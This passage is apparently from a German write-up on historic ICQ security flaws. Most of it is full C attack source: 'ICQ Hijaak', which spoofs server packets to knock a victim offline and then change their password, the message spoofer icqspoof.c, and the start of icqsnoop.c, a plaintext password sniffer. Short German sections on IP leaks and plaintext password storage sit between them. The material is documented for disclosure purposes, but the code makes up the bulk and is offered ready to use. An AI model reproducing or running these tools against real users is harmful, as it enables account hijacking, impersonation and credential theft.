cur = Current[ got_port - cur_min ];
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
PREV( NEXT( cur ) ) = cur;
cnt++;
continue;
}
/*
* if we get here, then it was one of the older
* ones, so look through the array for it
*/
cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if ( PORT(cur) == got_port ) {
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
break;
}
cur = NEXT(cur);
}
if ( NEXT(cur) == -1 ) {
printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
got_port);
} else {
cnt++;
}
}
printf("[UDP Scan working] Got %d responses \n", cnt );
if ( cnt < ( (cur_send/4) * 3 ) ) {
cur_send /= 2;
if ( cur_send < 16 ) {
cur_send = 16;
}
} else {
cur_send *= 2;
if ( cur_send > MAX_BURST ) {
cur_send = MAX_BURST;
} } cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if (!TIMES(cur) ) {
printf("SCORE! Port is %d \n",PORT(cur));
close( s_icmp );
close( rawsock);
*tport = PORT(cur);
return SUCCESS;
}
cur = NEXT(cur);
}
}
close(
s_icmp );
close(
rawsock);
return
SUCCESS;
}
#define COMMAND_CHANGEPASSWORD 0x049C
#define COMMAND_LOGOFF 0x0438
#define RESPONSE_ERROR 0x00F0
int WritePacket(u8
* data_ptr,
int * size,
char * format,
... )
{
u8
* ptr;
va_list
ap;
u32
dword_param;
u16
word_param;
u8
byte_param;
u8
* string_param;
int
string_length;
int
* data_length;
ap = va_start(
ap, format );
ptr = data_ptr;
while
( *format ) {
switch ( *format++ ) {
case 'L': /* dword */
dword_param = va_arg(ap, u32 );
*(ptr++) = dword_param & 0xFF;
*(ptr++) = (dword_param >> 8 ) & 0xFF;
*(ptr++) = (dword_param >> 16) & 0xFF;
*(ptr++) = (dword_param >> 24) & 0xFF;
break;
case 'W': /* word */
word_param = va_arg(ap, u16 );
*(ptr++) = word_param & 0xFF;
*(ptr++) = (word_param >> 8 ) & 0xFF;
break;
case 'B': /* Byte */
byte_param = va_arg(ap, u8 );
*(ptr++) = byte_param;
break;
case 'S': /* ICQ string */
string_param = va_arg(ap, u8 * );
string_length = strlen( string_param ) + 1;
*(ptr++) = (string_length ) & 0xFF;
*(ptr++) = (string_length >> 8) & 0xFF;
memcpy( ptr, string_param, string_length );
ptr += string_length;
break;
case 'D': /* pure data with length byte */
data_length = va_arg(ap, int * );
string_param = va_arg(ap, u8 * );
memcpy( ptr, string_param , *data_length );
ptr += *data_length;
break;
default:
fprintf(stderr,"Invalid type %c \n", *(format-1) );
return FAILURE;
}
}
/* return
the size taken up */
*size =
(ptr - data_ptr );
return
SUCCESS;
}
u32 icq_uin = -1;
u16 icq_seq = 0;
u16 icq_seq2 = 0;
#define ICQ4_VER
0
#define ICQ4_RANDOM 2
#define ICQ4_ZERO
4
#define ICQ4_COMMAND 6
#define ICQ4_SEQ
8
#define ICQ4_SEQ2
10
#define ICQ4_UID
12
#define ICQ4_CHECK 16
#define ICQ4_END
20
void create_icq4_hdr(
u8 * data_ptr,
u16 any_number,
u16 command,
int data_size
)
{
u32 check;
u32 check2;
u32 keyvalue;
int count;
int length;
int i;
u8 ofs;
u8 val;
length = data_size + ICQ4_END;
memset( data_ptr, 0, ICQ4_END );
word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr,
ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr,
ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID
) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr
+ 4) << 16 ) |
( *(data_ptr
+ 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^=
0x00FF00FF; check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
u32 * r;
if ( i
== 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
*r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}
void create_icq3_header(
u8 * data_ptr, int * size, u16 command,
u16 seq1, u16 seq2, u32 UIN )
{
int
len, len2, err, ofs, val;
u32
check, check2;
err =
WritePacket( data_ptr,&len, "WWWWL",
0x03, command, seq1, seq2, UIN );
if ( err
== FAILURE ) {
printf("Programmer Error in create_icq3_header\n"); exit(-1);
}
check =
( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) <<
16 ) |
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random()
% len; val = *(data_ptr + ofs );
check2
= ( ofs << 24 ) | ( val << 16 );
ofs = random()
% 256;
val = icq_check_data[
ofs ];
check2
|= ( ofs << 8 ) | ( val );
check2
^= 0x00FF00FF; check ^= check2;
err = WritePacket(
(data_ptr + len),&len2,"L", check );
*size = len + len2; }
static u8 packet[
1500 ];
void main( int argc, char ** argv );
void main( int argc, char ** argv )
{
int
count;
int
i;
u16
j, k;
struct
in_addr * addr_list;
struct
in_addr * target_list;
int
err;
struct
in_addr you;
struct
in_addr me;
int
rawsock;
struct
sockaddr raddr;
struct
sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
int
size;
u8
* data_ptr;
u8
* hdr_ptr;
int
hdr_size;
u16
your_port;
int
retries;
int
base_port;
if ( argc
< 5 ) {
fprintf(stderr,
"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
"Author: wumpus@innocent.com
* Copyright (c) 1998 Wolvesbane\n"
"Usage: \n"
" hijaak [options]
icq-server target-uin target-ip new-password \n"
"\n"
"icq-server: Packets will be *spoofed*
from the (possibly plural) \n"
"
IP addresses of this parameter. \n"
"\n"
"target-uin: D'Oh! \n\n"
"target-ip: Finding this is
up to you. May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
exit(-1);
}
base_port
= 0;
if ( argc
> 5 ) { base_port = atoi( argv[5] ); }
if (!base_port)
base_port = 1024;
icq_uin
= atol( argv[2] );
if ( !icq_uin
) {
fprintf(stderr, "Who do you want me to kill, boss? \n");
exit(-1); }
err = MultiResolve(argv[3],&count,&target_list);
if ( err
== -1 ) { herror("Resolving target\n"); exit(-1); }
if ( count
> 1 ) { fprintf(stderr,
"Hey! Moron! You need to specify an UNAMBIGUOUS
victim IP. \n" );
exit(-1); }
you = target_list[0];
free( target_list
);
err = MultiResolve(argv[1],&count,&addr_list);
if ( err
== -1 ){ herror("Resolving ICQ server"); exit(-1); }
r_in->sin_port
= htons( 1984 ); /* DON'T CARE */
r_in->sin_family
= AF_INET; r_in->sin_addr = you;
hdr_ptr
= packet + IP_END + UDP_END;
rawsock
= CreateRawSocket();
printf("**
Scanning for luser's ICQ port ...\n");
your_port
= base_port;
while (
1 ) { err = UDPScan(you, your_port, 65535, &your_port
);
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find a target port. Better
check that target IP again!\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"UDP scan found invalid port. Retrying... Hit
CTRL-C to exit\n");
continue; }
break;
}
printf("***
Got luser's port at %d \n", your_port );
create_icq3_header(hdr_ptr,
&hdr_size, RESPONSE_ERROR, 0,
0, icq_uin ); retries = 3;
while (
retries-- ) {
printf("Trying to knock luser offline. Attempt %d\n",
3 - retries );
for ( i = 0; i < count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); }
}
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break;
}
sleep( 3 ); /* Give 'em some time
*/
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break;
}
sleep(3);
}
printf("Retries
is %d \n", retries );
if ( 0
> retries ) { fprintf(stderr,
"Uh Oh! Something ain't working. Can't
toast the luser. Sorry, dude.\n");
exit(-1); }
/* more
time? how long does it take to reconnect? */
sleep(16);
printf("**
Scanning for luser's _new_ ICQ port ...\n");
while (
1 ) {
err = UDPScan(you, your_port, 65535, &your_port );
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port! Maybe your target
is smarter than you?\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"New UDP scan found invalid port. Retrying...
Hit CTRL-C to exit\n");
continue; } break; }
printf("***
Got luser's new connection at %d \n", your_port );
printf("***
Hijaaking account now...(*LONG* version)\n");
for ( k
= 0; k < 14 ; k++ ) {
for ( j = 0; j < 14 ; j++ ) {
int psize;
icq_seq = k; icq_seq2 = j;
data_ptr = hdr_ptr + ICQ4_END;
WritePacket( data_ptr, &size, "S",argv[4] );
create_icq4_hdr(hdr_ptr, random()&0xFFFF,
COMMAND_CHANGEPASSWORD, size );
hdr_size = ICQ4_END;
for ( i = 0; i < count ; i++ ) {
psize = IP_END + UDP_END + hdr_size + size;
make_ip_hdr( packet, psize, IPPROTO_UDP,
0x666, 0, you, addr_list[i], 0x7F );
make_udp_hdr( packet, psize - IP_END,
your_port, 4000);
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending");
exit(-1); } usleep( 1000 );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) {
perror("Sending");
exit(-1);
} } } }
printf("Disconnecting
the remote luser... \n");
create_icq3_header(hdr_ptr,
&hdr_size, RESPONSE_ERROR, 0, 0, icq_uin );
for ( i
= 0; i < count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); } }
free( addr_list
);
}
/*------------------------------------------------------------------------------
ICQ "Secret" check data.
This data is LIKELY to be copyrighted by ICQ.
This data is used with this
program under the Fair Use clause of the U.S.
Copyright Code.
The reason the use of this data falls under
the Fair Use clause is that it
is _NECESSARY_ for a program to use this data
to interact with the ICQ
protocol. Without this data, a program
would not be able to successfully
determine if a packet's "checksum" was valid,
nor be able to communicate
with the ICQ server.
The reader might choose to draw their own
conclusions about a company that
needs to not only obscure a their protocol,
but make it awkward for 3rd
parties to implement it.
*----------------------------------------------------------------------------*/
unsigned char icq_check_data[256] = {
0x0a, 0x5b,
0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
0x20, 0x63,
0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
0x69, 0x66,
0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
0x73, 0x6f,
0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
0x43, 0x51,
0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
0x2e, 0x20,
0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
0x65, 0x6c,
0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
0x6f, 0x75,
0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
0x72, 0x6f,
0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
0x22, 0x70,
0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
0x6e, 0x63,
0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
0x63, 0x22,
0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
0x51, 0x20,
0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
0x6d, 0x20,
0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
0x6f, 0x75,
0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
0x6e, 0x20,
0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
0x6e, 0x74,
0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
0x6e, 0x65,
0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
0x64, 0x69,
0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
0x6e, 0x0a,
0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
0x6e, 0x27,
0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
0x6d, 0x62,
0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
0x74, 0x20,
0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
0x69, 0x64,
0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
0x62, 0x6c,
0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
0x6b, 0x20,
0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
0x73, 0x65,
0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
0x65, 0x74,
0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
0x6c, 0x6f,
0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
0x6c, 0x6c,
0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
0x67, 0x65,
0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
0x20, 0x69,
0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
/*
1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
4 |
0 |
RANDOM
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
ZEROS
|
COMMAND
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
SEQUENCE
| SECOND
SEQUENCE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
UIN
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
CHECK
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/
typedef struct icq4_hdr
{
unsigned
char version[2] __attribute((packed)); /* 04 00 */
unsigned
short random __attribute((packed));
/* _why_?? */
unsigned
short zeros __attribute((packed));
/* why not...? */
unsigned
short command __attribute((packed));
unsigned
short sequence __attribute((packed));
unsigned
short sequence2 __attribute((packed)); /* 1 isn't enuf!
*/
unsigned
long uid __attribute((packed));
unsigned
long checksum __attribute((packed)); /* pure paranoia!
*/
unsigned
char data[0];
} icq4_hdr;
#define ICQ4_VER
0
#define ICQ4_RANDOM 2
#define ICQ4_ZERO
4
#define ICQ4_COMMAND 6
#define ICQ4_SEQ
8
#define ICQ4_SEQ2
10
#define ICQ4_UID
12
#define ICQ4_CHECK 16
#define ICQ4_END
20
void create_icq4_hdr(
u8 * data_ptr,
u16 any_number,
u16 command,
int data_size
)
{
u32 check;
u32 check2;
u32 keyvalue;
int count;
int length;
int i;
u8 ofs;
u8 val;
length = data_size + ICQ4_END;
memset( data_ptr, 0, ICQ4_END );
word(*data_ptr, ICQ4_VER ) = 0x4;
word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command;
word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2;
dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;
check = ( *(data_ptr + 8) << 24) |
( *(data_ptr
+ 4) << 16 ) |
( *(data_ptr
+ 2) << 8 ) |
( *(data_ptr
+ 6) );
/*
printf("First check is %08lx\n", check );
*/
#if 1
ofs = random() % length;
val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256;
val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val );
check2 ^= 0x00FF00FF;
#endif
#if 0
check2 = (( 0x04 ) << 24 ) |
/* TODO: make random */
(
*(data_ptr + 4) << 16 ) |
((
231 ) << 8 ) | /*
???? */
((
0x61 ) );
printf("Second check is %08lx\n", check );
check2 ^= 0x00FF00FF;
#endif
check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65;
keyvalue += check;
/*
printf("Length %d Key is %08lx \n", length, keyvalue
);
*/
count = ( length + 3 ) / 4;
count += 3;
count /= 4;
for ( i = 0; i < count ; i++ ) {
u32 * r;
if ( i
== 4 )
continue;
r = (u32
*)(data_ptr + (i*4) );
#if 0
printf("Xoring
%d %08lx with %08lx to get %08lx (check:%02x)\n",
i, *r, keyvalue + icq_check_data[i*4],
*r ^ (keyvalue+icq_check_data[i*4] ), icq_check_data[i*4]
);
#endif
*r ^= (keyvalue
+ icq_check_data[i*4] );
}
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}
void create_icq3_header(
u8 * data_ptr,
int * size,
u16 command,
u16 seq1,
u16 seq2,
u32 UIN )
{
int
len;
int
len2;
int
err;
u32
check;
u32
check2;
int
ofs;
int
val;
err =
WritePacket( data_ptr,&len, "WWWWL",
0x03, /* Version, Constant */
command,
seq1,
seq2,
UIN );
if ( err
== FAILURE ) {
printf("Programmer Error in create_icq3_header\n");
exit(-1);
}
check
= ( *(data_ptr + 8) << 24) |
( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) |
( *(data_ptr + 6) );
ofs = random()
% len;
val = *(data_ptr
+ ofs );
check2
= ( ofs << 24 ) |
( val << 16 );
ofs = random()
% 256;
val = icq_check_data[
ofs ];
check2
|= ( ofs << 8 ) |
( val );
check2
^= 0x00FF00FF;
check ^=
check2;
err =
WritePacket( (data_ptr + len),&len2,"L",
check );
*size =
len + len2;
}
#define ICQ_VER
0
#define ICQ_CMD
2
#define ICQ_SEQ
4
#define ICQ_SEQ2
6
#define ICQ_UID
8
#define ICQ_UNKNOWN 12
#define ICQ_END
16
int decode_icq3_header( u8 * data_ptr,
u16 * command,
u16 * sequence,
u16 * sequence2,
u8 ** icqdata )
{
u16
version;
u32
check;
u8
ofs;
u8
val;
version
= word( *data_ptr, 0 );
if ( version
!= 3 ) {
fprintf(stderr,"Unknown version %04lx\n", version );
return FAILURE;
}
check =
( *(data_ptr + 8) << 24) |
( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) |
( *(data_ptr + 6) );
check ^=
dword( *data_ptr, ICQ_UNKNOWN );
check ^=
0x00FF00FF;
ofs = check
>> 24;
val = (
check >> 16) & 0xFF;
if ( data_ptr[
ofs ] != val ) {
printf("**** ICQ3 CHECK MISMATCH %d is %02X not %02X\n",
ofs, data_ptr[ofs], val );
}
ofs = (check
>> 8) & 0xFF;
val = check
& 0xFF;
if ( icq_check_data[
ofs ] != val ) {
printf("**** ICQ3 CHECK MISMATCH %d is %02X not %02X\n",
ofs, icq_check_data[ofs], val );
}
*command
= word( *data_ptr, ICQ_CMD );
*sequence
= word( *data_ptr, ICQ_SEQ );
*sequence2
= word( *data_ptr, ICQ_SEQ2 );
if ( dword(*data_ptr,ICQ_UID)
!= icq_uin ) {
fprintf(stderr,"Error! Packet uid %08lx isn't %08lx
\n",
dword(*data_ptr, ICQ_UID), icq_uin );
return FAILURE;
}
*icqdata
= data_ptr + ICQ_END;
return
SUCCESS;
}
Mirabilis warnte offiziell vor dieser
Attacke. Leider sind viele Versions-Nummern vergangen, bis
ein Client veröffentlicht wurde, der nicht mehr anfällig auf
diese Attacke war. Mirabilis
hätte diese Sicherheitslücke gar nicht erst entstehen lassen
dürfen, indem sie das Protokoll zuvor der Öffentlichkeit zur
Analyse präsentierten.
3.1.4 ICQ98b: IP-Sniffing
durch TCP-Pakete
Das Zusammenspiel von Windows NT 4.0 und ICQ 98beta
funktioniert nicht ganz tadellos, wenn es um das Verhindern
des Freigebens interner IP-Adressen geht:
- Host A läuft mit Windows NT 4.0 und hat eine funktionierende
Ethernet-Anbindung mit der nicht ins Internet gerouteten
IP-Adresse 192.168.0.3und noch eine Dial-Up-Connection
per Modem mit der dynamischen IP 205.188.160.121.
- Der Anwender am Rechner A stellt eine ICQ-Konversation
mit dem Nutzer von Host B, der Windows 98 am laufen hat.
Rechner B hat eine Ethernet-Anbindung mit 10.0.0.7 und
Modem mit der statischen IP 195.24.64.6.
- Die TCP-Kommunikation findet nun genau zwischen den
IPs 205.188.160.121 und 195.24.64.6 statt.
Ein nun durch ICQ generiertes Paket steckt normalerweise die
externe IP-Adresse doppelt ins Ende der TCP-Daten (1952464619524646).
Dies ist bei Windows NT 4.0 jedoch leider anders: Dort wird
ans Ende der TCP-Daten zuerst die externe IP, danach die interne
Adresse gehängt (20518816012119216803).
Es wurden keine Patches zur Lösung dieses Problemes bei
der dargestellten Konstellation herausgegeben. Es empfiehlt
sich einfach ein Umstieg bzw. Update, um nicht diesem sonderbaren
Versionskonflikt unterworfen zu sein.
3.1.5 ICQ98b: Message-Spoofing
Seth McGann postete vor längerer Zeit einen selber
geschriebenen ICQ-Spoofer in C mit dem Namen icqspoof.c:
/* icqspoof.c -
v2. This program sends a message to a given ICQ user and
it
* will appear to be from an arbitrary UIN. Loads of
fun.
*
* Notes:
* As many of you know icqflood.c has been distributed
by enkil^ and irQ.
* They claim their program is all their own work.
Yet the "header" they
* use contains MY UIN. Strange, eh?
* A simple, "Packet Dump that we based our exploit on
provided by Seth
* McGann" would have been enough. Even though
I didn't specifically
* request credit it might have been nice to say something.
In the future
* when you expand on someone's idea and work (yeah those
traces didn't fall
* out of the sky ya know) give credit where credit is
due.
*
* Concept, Protocol Analysis and Coding: Seth McGann
* Some functions dealing with socket scanning: icqflood.c
by enkil^ and irQ
* With help from my roomate (target practice)
* And yes, this still works with ICQ 98. Coming soon:
Chat and File Spoofing
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
int main(argc, argv)
int argc;
char *argv[];
{
struct sockaddr_in sin;
int sock,i,x,y;
unsigned
long uin;
int Port;
char buffer[16];
int connected = 1;
typedef struct icq_prot {
unsigned char magicNum[2];
unsigned char UIN[4];
unsigned char unknown[4];
unsigned char unknown2[2];
unsigned char length[2];
unsigned char strng[256];
} icq_prot;
icq_prot sendMessage;
unsigned long temp;
unsigned char bigguy[1024];
if (argc != 6) {
fprintf(stderr,"Usage: icqspoof
ip SpoofedUIN message startport
endport\n");
exit(1);
}
Port = ScanPort(argv[1],atoi(argv[4]),atoi(argv[5]));
if (Port == -1) {
printf("No ICQ Port Found =(\n");
return;
}
sendMessage.magicNum[0]=0x2e;
sendMessage.magicNum[1]=0x0;
sendMessage.unknown[0]=0x04;
sendMessage.unknown[1]=0x01;
sendMessage.unknown[2]=0x0F;
sendMessage.unknown[3]=0x0;
sendMessage.unknown2[0]=0x01;
sendMessage.unknown2[1]=0x0;
temp=atol(argv[2]);
sendMessage.UIN[0]=temp & 0xFF;
sendMessage.UIN[1]=(temp >> 8) &
0xFF;
sendMessage.UIN[2]=(temp >> 16) &
0xFF;
sendMessage.UIN[3]=0;
strncpy(sendMessage.strng,argv[3],256);
sendMessage.length[0]=strlen(sendMessage.strng)+1;
sendMessage.length[1]=0;
if (!(sock = socket(AF_INET, SOCK_STREAM,
0))) {
printf("Error: Unable to creat socket, Exiting.\n");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(Port);
if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1)
{
printf("Error Connecting to Socket\n");
return;
}
x=20;
bigguy[0]=(41+strlen(sendMessage.strng)+1)
& 0xFF;
bigguy[1]=((41+strlen(sendMessage.strng)+1)
>> 8) & 0xFF;
bigguy[2]=sendMessage.UIN[0];
bigguy[3]=sendMessage.UIN[1];
bigguy[4]=sendMessage.UIN[2];
bigguy[5]=sendMessage.UIN[3];
bigguy[6]=0x02;
bigguy[7]=0x00;
bigguy[8]=0xEE;
bigguy[9]=0x07;
bigguy[10]=0x00;
bigguy[11]=0x00;
bigguy[12]=sendMessage.UIN[0];
bigguy[13]=sendMessage.UIN[1];
bigguy[14]=sendMessage.UIN[2];
bigguy[15]=sendMessage.UIN[3];
bigguy[16]=0x01;
bigguy[17]=0x00;
bigguy[18]=sendMessage.length[0];
bigguy[19]=sendMessage.length[1];
for(i=0;i<sendMessage.length[0];i++)
bigguy[x++]=sendMessage.strng[i];
bigguy[x++]=0x82;
bigguy[x++]=0xD7;
bigguy[x++]=0xF3;
bigguy[x++]=0x20;
bigguy[x++]=0x82;
bigguy[x++]=0xD7;
bigguy[x++]=0xF3;
bigguy[x++]=0x20;
bigguy[x++]=0x09;
bigguy[x++]=0x04;
bigguy[x++]=0x00;
bigguy[x++]=0x00;
bigguy[x++]=0x04;
bigguy[x++]=0x00;
bigguy[x++]=0x00;
bigguy[x++]=0x10;
bigguy[x++]=0x01;
bigguy[x++]=0xEB;
bigguy[x++]=0xFF;
bigguy[x++]=0xFF;
bigguy[x++]=0xFF;
bigguy[x++]=0x02;
bigguy[x++]=0x00;
bigguy[x++]=0x0A;
bigguy[x++]=0x09;
bigguy[x++]=0x00;
write(sock,bigguy,x-1);
printf("Done!\n");
close(sock);
return 0;
}
int ScanPort(char *ipaddr, int StartIP, int EndIP)
{
struct
sockaddr_in sin;
int sock,x,y;
unsigned
long uin;
printf("Scanning
Ports");
for (x=StartIP;x<=EndIP;++x)
{
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
printf("Error: Unable to connect\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(ipaddr);
sin.sin_port = htons(x);
if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1)
{
close(sock);
printf("Port %d Open! Spoofing...\n",x);
fflush(stdout);
return x;
}
printf(".");
fflush(stdout);
}
printf("\n");
return
-1;
}
Dieses Programm schickt an einen ICQ98-User eine Nachricht,
wobei die Ursprungs-UIN frei gewählt werden darf.
3.1.6 ICQ99a: Passwörter
werden im Klartext gespeichert
Die Damen und Herren von Mirabilis lassen ihren Chat-Clienten
das Benutzer- und POP3-Passwort in ICQ99a im Klartext in der
Datei "ICQ\NewDB\uin#.dat" speichern, wie ich herausgefunden
habe. Diese Datei kann ganz normal mit einem ASCII-Editor,
zum Beispiel dem Notepad, geöffnet werden. Gibt man nun sein
Passwort in der Suche ein, wird man zur Stelle katapultiert,
in der das Passwort gespeichert wurde. Es gibt diverse Programme,
die diese Aktion automatisieren können, um dem User das (vergessene)
Passwort mitzuteilen. Eines der ersten und besten heisst ICQPass
und funktioniert ausschliesslich mit ICQ99a.
Das Passwort wird nicht gespeichert, wenn man die automatische
Funktion in den "Security & Privacy Settings"
deaktiviert wurde, was jedoch auf Dauer ziemlich umständlich
werden kann. Ein Update auf eine neuer ICQ-Version schafft
einfacher Abhilfe und bringt neue Features mit sich.
3.1.7 ICQ99a: Unsichere Authentifizierung
Alan Cox fand eine Sicherheitslücke im schon etwas
älteren offiziellen Mirabilis-Client für Windows. Es kristallisieren
sich bei näheren Betrachtung zwei Sicherheitsprobleme beim
ziemlich transparenten Protokoll von ICQ heraus. Da dieses
Protokoll nicht öffentlich einsehbar ist, kann davon ausgegangen
werden, dass noch weitere verborgene Probleme in Zukunft auf
die ICQ-Nutzer zukommen könnten.
Der erste Fehler ist eine schlichtweg dumme und faule Haltung
der Entwickler, denn bei der Authentifizierung des ICQ-Clients
werden die Zugangsdaten (UIN und Passwort) im Klartext an
den Mirabilis-Server geschickt. Das Programm icqsnoop.c schnüffelt
automatisch nach dem Passwort:
/*
* Snoop ICQ traffic
for a set host. Shows how simplistic ICQ
* is and how easy
it is to snoop it.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <ctype.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/udp.h>
/*
* PUT THE IP ADDRESS
OF THE CLIENT TO SNOOP HERE OR IT WONT WORK
*/
#define MY_CLIENT_TO_WATCH
0x7F000001
static int create_socket(void)
{
int s=socket(AF_INET,
SOCK_PACKET, htons(ETH_P_ALL));
if(s==-1)
{
perror("socket");
exit(1);
}
return
s;
}
static void close_socket(int s)
{
close(s);
}
static void promiscuous(int s, char *iface, int onoff)
{
struct
ifreq ifr;
strcpy(ifr.ifr_name,
iface);
if(ioctl(s,
SIOCGIFFLAGS, &ifr)==-1)
{
perror("SIOCGIFFLAGS");
exit(1);
}
